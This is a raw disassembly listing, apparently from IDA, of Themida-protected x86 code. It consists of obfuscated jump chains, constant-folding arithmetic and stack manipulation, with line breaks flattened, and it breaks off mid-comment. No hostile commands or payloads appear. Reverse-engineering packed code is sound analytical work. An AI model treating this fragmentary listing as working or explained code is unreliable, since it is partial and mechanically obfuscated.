loc_5566C5: ; CODE XREF: Themida_:00557E58j mov eax, 4 add [esp+4], eax push dword ptr [esp] pop eax jmp loc_558B88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5566D7: ; CODE XREF: sub_559C84+43Dj push esi xchg ecx, [esp+50h+var_52+2] xchg ebp, ecx not ebp xchg ebp, ecx xchg ecx, [esp+50h+var_52+2] push [esp+50h+var_52+2] jmp loc_55C302 ; --------------------------------------------------------------------------- loc_5566EC: ; CODE XREF: sub_559C84-4A4Bj mov [esp+4Eh+var_4E], esi jmp loc_5595BA ; --------------------------------------------------------------------------- loc_5566F4: ; CODE XREF: sub_559C84-5FE5j pop ebp pop edx and eax, ebp pop ebp or edx, eax jmp loc_558FBC ; --------------------------------------------------------------------------- loc_556700: ; CODE XREF: sub_559C84-363Ej mov esi, 4 sub edi, esi jmp loc_55DEB2 ; --------------------------------------------------------------------------- loc_55670C: ; CODE XREF: sub_559C84+CBAj sub ebx, 10009CEh mov edx, [esp+50h+var_52+2] add esp, 4 loc_556718: ; CODE XREF: sub_558684+5j sub esp, 4 mov [esp+50h+var_52+2], edx mov edx, esp push ebp jmp loc_55CCD2 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_556729: ; CODE XREF: Themida_:00559283j mov [esp], eax mov eax, esp add eax, 4 jmp loc_55B2EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556738: ; CODE XREF: sub_559C84+4C9Bj mov esi, 4F31F66h sub [esp+54h+var_52+2], 41471330h add [esp+54h+var_52+2], esi add [esp+54h+var_52+2], 41471330h pop esi mov edx, [esp+50h+var_52+2] jmp loc_55E37C ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55675A: ; CODE XREF: Themida_:00558D34j push 6B2Eh mov [esp], edi push eax mov eax, 0AE23318h mov edi, 0AE2331Ch add edi, 38F85C9Ch sub edi, 353C5552h sub edi, eax add edi, 353C5552h push ecx mov ecx, 38F85C9Ch jmp loc_555F93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55678C: ; CODE XREF: sub_559C84-D9Ej mov [esp+50h+var_52+2], edi mov edi, esp sub esp, 4 mov [esp+0], eax mov eax, 4FA76B03h jmp loc_554D96 ; --------------------------------------------------------------------------- loc_5567A1: ; CODE XREF: sub_559C84+2060j add edx, eax add edx, 3DA46439h push ebp push 490F3AA3h pop ebp jmp loc_55E525 ; --------------------------------------------------------------------------- loc_5567B5: ; CODE XREF: sub_559C84+40D0j sub al, bl add al, 0A6h jmp loc_55DECB ; --------------------------------------------------------------------------- loc_5567BE: ; CODE XREF: sub_559C84+D67j mov [esp+58h+var_58], ebp sub esp, 4 mov [esp+5Ch+var_5C], ecx push 1834h mov [esp+60h+var_60], edx mov edx, 3F2A4AC7h xor [esp+60h+var_5C], edx jmp loc_5584D3 ; --------------------------------------------------------------------------- loc_5567DD: ; CODE XREF: sub_559C84-2C06j push eax mov eax, 4 sub ebp, eax pop eax xchg ebp, [esp+60h+var_60] jmp loc_558EE5 ; --------------------------------------------------------------------------- loc_5567EE: ; CODE XREF: sub_559C84+54ABj shl esi, 5 not esi jmp loc_55880C ; --------------------------------------------------------------------------- loc_5567F8: ; CODE XREF: sub_559C84-4195j pop edi pop [esp+4Ch+var_4E+2] pop esp jmp loc_55351F ; --------------------------------------------------------------------------- loc_556802: ; CODE XREF: sub_559C84-174Fj pop esi sub edi, 192906A9h add edi, edx add edi, 192906A9h push [esp+40h+var_42+2] pop edx push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi pop esi add ebp, 4 jmp loc_557D3B ; --------------------------------------------------------------------------- loc_556829: ; CODE XREF: sub_559C84-2ADAj mov ebp, 0FA1420h add [esp+44h+var_3E+2], ebp pop ebp push ecx jmp loc_5556E5 ; --------------------------------------------------------------------------- loc_556839: ; CODE XREF: sub_559C84-4994j pop esp mov [esp+1Ch+var_1C], edx push ecx mov ch, 3Fh mov dh, 0B7h xor dh, ch pop ecx mov bl, dh jmp loc_5574D3 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55684C: ; CODE XREF: Themida_:0055FC33j pop eax xor ecx, eax pop eax sub esp, 4 mov [esp], eax mov eax, 56C528C9h not eax shl eax, 3 add eax, 0D5402818h sub ecx, eax pop eax jmp loc_55656A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556870: ; CODE XREF: sub_559C84+3B2Ej mov [esp+1Ch+var_1C], edi sub esp, 4 mov [esp+20h+var_20], esp add [esp+20h+var_20], 4 jmp loc_55F2ED ; --------------------------------------------------------------------------- loc_556885: ; CODE XREF: sub_559C84-4B1Dj xchg edi, [esp-12h+arg_C+2] pop esp shl esi, 3 push ebp mov ebp, 9220E109h add esi, ebp pop ebp add eax, esi pop esi push 16E4h mov [esp-16h+arg_10+2], ebp push esi jmp loc_55D573 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5561B6 loc_5568A6: ; CODE XREF: sub_5561B6+B48j sub ebp, 1B0B7C75h add ebp, 182C3FAFh add ebp, edi sub ebp, 182C3FAFh push ebx push edx mov edx, 78E93DE5h mov ebx, edx pop edx jmp loc_5587A0 ; END OF FUNCTION CHUNK FOR sub_5561B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559AA2 loc_5568C9: ; CODE XREF: sub_559AA2-62B4j push edx mov edx, 66935D18h inc edx shl edx, 5 shr edx, 8 xor edx, 627A32E3h sub esp, 4 mov [esp+8+var_8], eax mov eax, 64887FC2h jmp loc_55C1A9 ; END OF FUNCTION CHUNK FOR sub_559AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5568EF: ; CODE XREF: sub_559C84-121j mov [esp-12h+arg_C+2], ebx jmp loc_55612F ; --------------------------------------------------------------------------- loc_5568F7: ; CODE XREF: sub_559C84+4FECj pop ebx jmp loc_556B25 ; --------------------------------------------------------------------------- loc_5568FD: ; CODE XREF: sub_559C84+C38j neg dh shr dh, 1 and dh, 9Ch and dh, 0C3h not dh xor dh, 83h add al, dh pop edx jmp loc_55E400 ; --------------------------------------------------------------------------- loc_556914: ; CODE XREF: sub_559C84-20Aj add ebx, eax pop eax add ebx, 4 jmp loc_55A0C6 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_554A08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5559F0 loc_55692A: ; CODE XREF: sub_5559F0+Cj push esp pop edi jmp loc_558A46 ; END OF FUNCTION CHUNK FOR sub_5559F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556931: ; CODE XREF: sub_559C84-2BF6j add al, dl pop dx mov dx, word ptr [esp-20h+arg_1C] add esp, 2 jmp loc_55B511 ; --------------------------------------------------------------------------- loc_556941: ; CODE XREF: sub_559C84+27D8j neg ebp sub ebp, 1D1121BEh jmp loc_559857 ; --------------------------------------------------------------------------- loc_55694E: ; CODE XREF: sub_559C84+8CDj pop esp add bl, 19h add bl, 5Fh push edx push ax jmp loc_55A7D0 ; --------------------------------------------------------------------------- loc_55695D: ; CODE XREF: sub_559C84-5D7Dj add edx, 4 jmp loc_55C398 ; --------------------------------------------------------------------------- loc_556968: ; CODE XREF: sub_559C84-64CEj push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+24h+var_24] pop esp sub esp, 2 mov word ptr [esp+24h+var_24], dx push ebx push ecx mov ch, 0FBh mov bh, ch jmp loc_554AF2 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55698E proc near ; CODE XREF: sub_559C84-E4Bj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055742B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00558FF7 SIZE 0000002D BYTES push ebp mov ebp, 274800B2h xor ebp, 0C393D8Ch loc_55699A: ; DATA XREF: sub_559C84:loc_55D379o or ebp, 0AF48EAh jmp loc_558FF7 sub_55698E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5569A5: ; CODE XREF: sub_559C84-4A0Fj add eax, ecx push ebp jmp loc_55E5E5 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- push ebp push ebx push eax pop ebx push ecx mov ecx, ebx mov ebp, ecx pop ecx jmp loc_55851C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5569BC: ; CODE XREF: sub_559C84-1568j xor edx, [esp+52h+var_52] jmp loc_55969F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov cx, [esp] push edx mov edx, esp push edi mov edi, 770434CBh neg edi neg edi xchg edx, edi push edx jmp loc_554723 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5569DD: ; CODE XREF: sub_559C84+EB7j sub esi, ebx jmp loc_55AD34 ; --------------------------------------------------------------------------- loc_5569E4: ; CODE XREF: sub_559C84-5A79j push esi mov esi, 5853233Fh sub esi, 0ED59F7AAh jmp loc_55B872 ; --------------------------------------------------------------------------- loc_5569F5: ; CODE XREF: sub_559C84+2BFEj sub eax, 69C85CACh push edx mov edx, 0BE5976h shl edx, 1 shr edx, 2 jmp loc_554BA6 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_556A0A: ; CODE XREF: Themida_:0055F990j mov cl, 4Dh push eax push edx push eax mov al, 14h jmp loc_55C27F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556A16: ; CODE XREF: sub_559C84-5515j push 22C3D1Bh pop edx xor [esp+3Ch+var_3A+2], edx pop edx jmp loc_554531 ; --------------------------------------------------------------------------- loc_556A26: ; CODE XREF: sub_559C84-63DCj dec ecx jmp loc_55F50B ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_556A2C: ; CODE XREF: Themida_:00554459j jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556A31: ; CODE XREF: sub_559C84-3AE2j mov ebx, [esp+44h+var_46+2] add esp, 4 add ebx, ecx mov ecx, [esp+40h+var_42+2] add esp, 4 add ebx, 2 xchg ebx, [esp+3Ch+var_3E+2] mov esp, [esp+3Ch+var_3E+2] btc word ptr [esp+3Ch+var_3E+2], ax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_556A56: ; CODE XREF: sub_559C84+2E80j shr byte ptr [esp+40h+var_42+2], cl pushf jmp loc_557D13 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_556A5F: ; CODE XREF: Themida_:00554319j add esp, 4 jmp loc_555F42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556A6A: ; CODE XREF: sub_559C84+D2Dj sub eax, edi pop edi mov ecx, [esp+40h+var_42+2] push esi mov esi, esp jmp loc_557D18 ; --------------------------------------------------------------------------- loc_556A78: ; CODE XREF: sub_559C84-6DDj pop edx xchg ebx, [esp+40h+var_42+2] mov esp, [esp+40h+var_42+2] jmp loc_558DEC ; --------------------------------------------------------------------------- loc_556A84: ; CODE XREF: sub_559C84+3764j push ecx mov ecx, 4 add edx, ecx jmp loc_55BE98 ; --------------------------------------------------------------------------- loc_556A91: ; CODE XREF: sub_559C84+924j mov [esp+44h+var_46+2], edi mov edi, 2 add ecx, 10B76326h jmp loc_55E287 ; --------------------------------------------------------------------------- loc_556AA4: ; CODE XREF: sub_559C84-391Bj mov ebp, esp jmp loc_556E3B ; --------------------------------------------------------------------------- loc_556AAB: ; CODE XREF: sub_559C84+3DB4j push edx mov dh, 0E0h neg dh xor dh, 0C4h add bl, dh jmp loc_55A295 ; --------------------------------------------------------------------------- loc_556ABA: ; CODE XREF: sub_559C84+2177j mov ebp, [esp+5Ah+var_5C+2] push ecx jmp loc_55E4F6 ; --------------------------------------------------------------------------- loc_556AC3: ; CODE XREF: sub_559C84-99Bj push edx mov edx, 4 jmp loc_55B6DC ; --------------------------------------------------------------------------- loc_556ACE: ; CODE XREF: sub_559C84+1F6Cj sub edi, 2362310Ch xor edi, 0DC48CE70h add ecx, 3A6060CAh add ecx, edi jmp loc_55EF32 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- lodsd push 372Fh mov [esp], edi jmp loc_55F4CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556FC2 loc_556AF5: ; CODE XREF: sub_556FC2+22j xor ecx, esi pop esi add edx, ecx mov ecx, [esp-4+arg_0] add esp, 4 jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_556FC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556B05: ; CODE XREF: sub_559C84-100Fj add esi, 4 jmp loc_55B209 ; --------------------------------------------------------------------------- loc_556B10: ; CODE XREF: sub_559C84+F6Fj sub edx, 6C32A6Fh add edx, 0D6352D4Ah mov ebp, edx pop edx inc ebp jmp sub_5558B3 ; --------------------------------------------------------------------------- loc_556B25: ; CODE XREF: sub_559C84-338Cj sub dl, cl jmp loc_55C3A1 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_556B2C: ; CODE XREF: Themida_:00557A2Aj pop edx pop esi jmp loc_55BB68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556B33: ; CODE XREF: sub_559C84-B74j add esi, 4 sub esp, 4 mov [esp-12h+arg_C+2], ebp mov ebp, 7D085EB7h jmp loc_559937 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_556B4C: ; CODE XREF: Themida_:005539FEj xor ebp, 0BD14FAFh sub esp, 4 mov [esp], eax push 0D9E5162h pop eax sub eax, 44D09A8h jmp loc_556F41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556B68: ; CODE XREF: sub_559C84+26Fj mov [esp-12h+arg_C+2], edi jmp loc_55BD23 ; --------------------------------------------------------------------------- loc_556B70: ; CODE XREF: sub_559C84+1828j mov ecx, esi pop esi jmp loc_556188 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_556B78 proc near ; DATA XREF: Themida_:00553460o var_4 = dword ptr -4 lodsd push esi mov esi, 7375193Eh sub eax, esi mov esi, [esp+4+var_4] push edx push esp pop edx push esi jmp loc_55CD12 sub_556B78 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556B8D: ; CODE XREF: sub_559C84-4D26j pop edx jmp loc_55992F ; --------------------------------------------------------------------------- loc_556B93: ; CODE XREF: sub_559C84+3959j add [esp+4Eh+var_4E], 4 pop esi add esi, 4 sub esp, 4 mov [esp+4Eh+var_4E], ebp jmp loc_557B0C ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- lodsd add eax, 43456913h jmp loc_5576FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556BB4: ; CODE XREF: sub_559C84+46B9j xchg edi, [esp+4Eh+var_4E] mov esp, [esp+4Eh+var_4E] movzx ecx, ax push 27EFh jmp loc_5591BF ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55590A loc_556BC7: ; CODE XREF: sub_55590A+3672j add ebp, 0EFBFFBB8h add esi, ebp pop ebp add esi, 4 push 772Ah jmp loc_557588 ; END OF FUNCTION CHUNK FOR sub_55590A ; --------------------------------------------------------------------------- loc_556BE0: ; CODE XREF: Themida_:005539AAj not ah sub ah, 71h sub ah, 0E7h and ah, 0D5h jmp loc_55DD67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556BF0: ; CODE XREF: sub_559C84-2514j sub ebp, 745301EEh pop ecx jmp loc_558FE0 ; --------------------------------------------------------------------------- loc_556BFC: ; CODE XREF: sub_559C84-17BDj add esp, 4 add esp, 4 push ecx mov cl, 0A8h not cl jmp loc_55D9EC ; --------------------------------------------------------------------------- loc_556C12: ; CODE XREF: sub_559C84-75Dj xor esi, 48B023E1h inc esi and esi, 46C64D7h xor esi, 15A91CEEh jmp loc_5590E4 ; --------------------------------------------------------------------------- loc_556C2A: ; CODE XREF: sub_559C84+1E70j add eax, esi jmp loc_55D102 ; --------------------------------------------------------------------------- loc_556C31: ; CODE XREF: sub_559C84+2C68j sub ebp, 58AD3CC8h or ebp, 34AF1830h add ebp, 915C075Bh xor eax, ebp pop ebp push small word ptr [eax] jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5547B0 loc_556C4E: ; CODE XREF: sub_5547B0+A4Cj xor esi, eax mov eax, [esp+8+var_8] jmp loc_55C7F5 ; END OF FUNCTION CHUNK FOR sub_5547B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556C58: ; CODE XREF: sub_559C84+53ECj mov eax, [esp+48h+var_4A+2] push edi mov edi, esp add edi, 4 jmp loc_55A799 ; --------------------------------------------------------------------------- loc_556C69: ; CODE XREF: sub_559C84+1D3Ej shr eax, 2 xchg eax, ecx inc ecx xchg eax, ecx neg eax push 3803h mov [esp+50h+var_52+2], ebx push edi mov edi, 1FE93D39h mov ebx, 9A13FB89h jmp loc_55A612 ; --------------------------------------------------------------------------- loc_556C89: ; CODE XREF: sub_559C84+51DFj add bl, 4Bh sub bl, dh sub bl, 4Bh pop edx add al, 0B0h add al, bl jmp loc_5537AB ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556D58 loc_556C9B: ; CODE XREF: sub_556D58+1j push ecx push 1B1E4771h mov ecx, [esp+0Ch+var_C] add esp, 4 push ebx push edx push 71CA053Dh pop edx and edx, 28D81A3Bh shl edx, 4 jmp loc_55AF3D ; END OF FUNCTION CHUNK FOR sub_556D58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5561B6 loc_556CBD: ; CODE XREF: sub_5561B6+12j mov edi, 38384BBCh sub edi, 67394B96h dec edi push esi mov esi, 5F076E85h add esi, 5F730C3h neg esi or esi, 5FAE278Eh add esi, 3A1734BDh add esi, 10839E71h add edi, esi pop esi xor edi, 36AF7A87h sub edi, 57E809A7h xor edi, 75FE37EBh jmp loc_5568A6 ; END OF FUNCTION CHUNK FOR sub_5561B6 ; =============== S U B R O U T I N E ======================================= sub_556D03 proc near ; CODE XREF: sub_559C84-1485j var_4 = dword ptr -4 push ebx mov ebx, 2 sub edi, 0BBE1AC6h add edi, ebx add edi, 0BBE1AC6h mov ebx, [esp+4+var_4] add esp, 4 jmp loc_55CC30 sub_556D03 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556D25: ; CODE XREF: sub_559C84-504j add esi, ecx sub esi, 272A6DE8h pop ecx add esi, 2 xchg esi, [esp+4Ch+var_4E+2] jmp loc_555FDB ; --------------------------------------------------------------------------- loc_556D39: ; CODE XREF: sub_559C84-6195j shl eax, 2 dec eax sub eax, 46CEA357h push esi jmp loc_55ADE3 ; --------------------------------------------------------------------------- loc_556D48: ; CODE XREF: sub_559C84+7A8j not ecx jmp loc_55BD40 ; --------------------------------------------------------------------------- loc_556D4F: ; CODE XREF: sub_559C84+255Ej sub al, bh pop bx jmp loc_5585EE ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_556D58 proc near ; CODE XREF: sub_559C84+3019j var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 00556C9B SIZE 00000022 BYTES push ebx jmp loc_556C9B sub_556D58 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556D5E: ; CODE XREF: sub_559C84+C68j mov [esp+40h+var_42+2], ecx jmp loc_55A623 ; --------------------------------------------------------------------------- loc_556D66: ; CODE XREF: sub_559C84-49E8j mov edx, 1FDAFD58h add edx, edi pop edi push edx jmp loc_55C0FC ; --------------------------------------------------------------------------- loc_556D74: ; CODE XREF: sub_559C84-4875j add bl, 52h sub bl, al sub bl, 52h add bl, 41h sub bl, 74h sub bl, 5Fh sub bl, 19h movzx eax, al push dword ptr [edi+eax*4] jmp loc_55351F ; --------------------------------------------------------------------------- loc_556D93: ; CODE XREF: sub_559C84+22F8j push eax push [esp+48h+var_46+2] mov eax, [esp+4Ch+var_4E+2] add esp, 4 pop [esp+48h+var_4A+2] pop esp jmp loc_55DA51 ; --------------------------------------------------------------------------- loc_556DA7: ; CODE XREF: sub_559C84+2DB1j push 732B2E36h pop ebx jmp loc_55989E ; --------------------------------------------------------------------------- loc_556DB2: ; CODE XREF: sub_559C84+3200j sub bl, 2Ch add bl, 0AAh mov ecx, [esp+40h+var_42+2] push ebp push esp mov ebp, [esp+48h+var_4A+2] add esp, 4 add ebp, 4 add ebp, 4 xchg ebp, [esp+44h+var_46+2] pop esp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+44h+var_46+2] pop esp mov [esp+40h+var_42+2], ebx jmp loc_55E02D ; --------------------------------------------------------------------------- loc_556DF1: ; CODE XREF: sub_559C84+2AA2j mov [esp+40h+var_42+2], ecx mov ecx, 1Ch jmp loc_55D33C ; --------------------------------------------------------------------------- loc_556DFE: ; CODE XREF: sub_559C84+C4Fj and bl, 0F1h dec bl add bl, 21h jmp loc_553F94 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_556E0B: ; CODE XREF: Themida_:005547ABj mov esp, [esp] jmp loc_55A840 ; --------------------------------------------------------------------------- loc_556E13: ; CODE XREF: Themida_:0055F8BBj pop ax push ecx mov cl, 0F1h xor cl, 22h xor dl, cl pop ecx sub dl, 0FFh push ebx mov bh, dl jmp loc_55CE89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E425 loc_556E29: ; CODE XREF: sub_55E425+1Cj sub esi, 7C471701h jmp loc_5574A3 ; END OF FUNCTION CHUNK FOR sub_55E425 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556E34: ; CODE XREF: sub_559C84+1D81j mov ch, 91h jmp loc_557168 ; --------------------------------------------------------------------------- loc_556E3B: ; CODE XREF: sub_559C84-31DEj add ebp, 4 jmp loc_556254 ; --------------------------------------------------------------------------- loc_556E46: ; CODE XREF: sub_559C84-213Dj add esp, 4 or eax, eax jz loc_5559D1 push dword ptr [edi+1Ch] jmp loc_55C20B ; --------------------------------------------------------------------------- loc_556E59: ; CODE XREF: sub_559C84+1F89j add bl, cl jmp loc_558958 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_556E60: ; CODE XREF: Themida_:0055EF7Aj mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push 0CC3h mov [esp], edi push 1446h push esp pop dword ptr [esp] jmp loc_554981 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556E95: ; CODE XREF: sub_559C84+18BCj mov bl, dl pop edx jmp loc_55ED46 ; --------------------------------------------------------------------------- loc_556E9D: ; CODE XREF: sub_559C84-60B6j mov [esp+18h+var_18], ecx mov ecx, 642240D2h jmp loc_55F784 ; --------------------------------------------------------------------------- loc_556EAA: ; CODE XREF: sub_559C84+2E13j mov eax, [esp+18h+var_18] add esp, 4 push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 58621B50h add ebx, 416724FBh dec ebx xor ebx, 99C9404Eh sub ebp, ebx pop ebx xchg ebp, [esp+18h+var_18] jmp loc_55D5D1 ; --------------------------------------------------------------------------- loc_556EDA: ; CODE XREF: sub_559C84+B47j pop edi sub ebx, 4 xchg ebx, [esp+14h+var_14] pop esp mov [esp+10h+var_10], ecx sub esp, 4 mov [esp+14h+var_14], esp add [esp+14h+var_14], 4 pop ecx push edx jmp loc_55D02C ; --------------------------------------------------------------------------- loc_556EF6: ; CODE XREF: sub_559C84+378Fj xor ebp, 0CC4CEB6Fh add ebx, ebp pop ebp sub ebx, 2 jmp sub_55F9FD ; --------------------------------------------------------------------------- loc_556F07: ; CODE XREF: sub_559C84-2D48j pop eax push edi jmp loc_55DF66 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov cx, [esp] push 16E7h mov [esp], ebx jmp loc_55A923 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553D58 loc_556F1F: ; CODE XREF: sub_553D58+8j add dh, 6Fh sub al, dh jmp loc_55FC66 ; END OF FUNCTION CHUNK FOR sub_553D58 ; =============== S U B R O U T I N E ======================================= sub_556F29 proc near ; CODE XREF: sub_55ED81-120j ; FUNCTION CHUNK AT 0055485C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00557050 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0055F365 SIZE 0000000B BYTES push ebp jmp loc_557050 sub_556F29 endp ; =============== S U B R O U T I N E ======================================= sub_556F2F proc near ; DATA XREF: Themida_:0055345Co pop dword ptr [edx] jmp loc_55351F sub_556F2F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556F36: ; CODE XREF: sub_559C84-EB0j sub bh, 2Ch push [esp+10h+var_10] jmp loc_556F07 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_556F41: ; CODE XREF: Themida_:00556B63j or ebp, eax pop eax shr ebp, 8 xor ebp, 79DD7Fh or [edi+1Ch], ebp mov ebp, [esp] jmp loc_558826 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55590A loc_556F58: ; CODE XREF: sub_55590A-1A5Cj add ebp, eax pop eax jmp loc_5577D4 ; END OF FUNCTION CHUNK FOR sub_55590A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556F60: ; CODE XREF: sub_559C84+4874j add ecx, 4 push edx mov edx, 4 add ecx, edx pop edx xor ecx, [esp+14h+var_14] xor [esp+14h+var_14], ecx xor ecx, [esp+14h+var_14] pop esp push 110Eh mov [esp+14h+var_14], eax jmp loc_55D59A ; --------------------------------------------------------------------------- loc_556F86: ; CODE XREF: sub_559C84+293Bj pop ebx push [esp+10h+var_10] jmp loc_5594F9 ; --------------------------------------------------------------------------- loc_556F8F: ; CODE XREF: sub_559C84-50E3j mov cx, 4CB2h add di, cx jmp loc_55843B ; --------------------------------------------------------------------------- loc_556F9B: ; CODE XREF: sub_559C84-6329j and ebp, eax pop eax sub ebp, 418D3394h sub ebp, 2372DD0Ah sub esi, ebp pop ebp xor esi, [esp+48h+var_4A+2] xor [esp+48h+var_4A+2], esi xor esi, [esp+48h+var_4A+2] mov esp, [esp+48h+var_4A+2] mov word ptr [esp+48h+var_4A+2], cx jmp loc_554CA2 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_556FC2 proc near ; CODE XREF: sub_559C84+234Cj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00556AF5 SIZE 00000010 BYTES sub esp, 4 mov [esp-4+arg_0], esi mov esi, 62F07488h not esi or esi, 6FDF590Fh shr esi, 5 and esi, 275103EDh add esi, 1FC604ACh jmp loc_556AF5 sub_556FC2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556FE9: ; CODE XREF: sub_559C84-2BFDj pop edx or ch, 28h xor ch, 91h neg ch sub ch, 0ABh mov dh, ch mov ecx, [esp+44h+var_46+2] add esp, 4 sub al, dh mov dx, word ptr [esp+40h+var_42+2] add esp, 2 xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- loc_557013: ; DATA XREF: Themida_:0055323Co mov ax, fs:[edx] jmp loc_555C43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55701C: ; CODE XREF: sub_559C84+5696j add ebx, ebp pop ebp sub ebx, 4 xchg ebx, [esp+38h+var_3A+2] pop esp mov [esp+34h+var_34], ebx push ebp jmp loc_55AA40 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_55702F proc near ; CODE XREF: sub_559C84-539Ej var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00553E5B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005559CE SIZE 00000022 BYTES push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_553E5B sub_55702F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557043: ; CODE XREF: sub_559C84-40CFj mov [esp+4Ch+var_4E+2], edi mov edi, 4E1D61FBh jmp loc_553CC6 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR 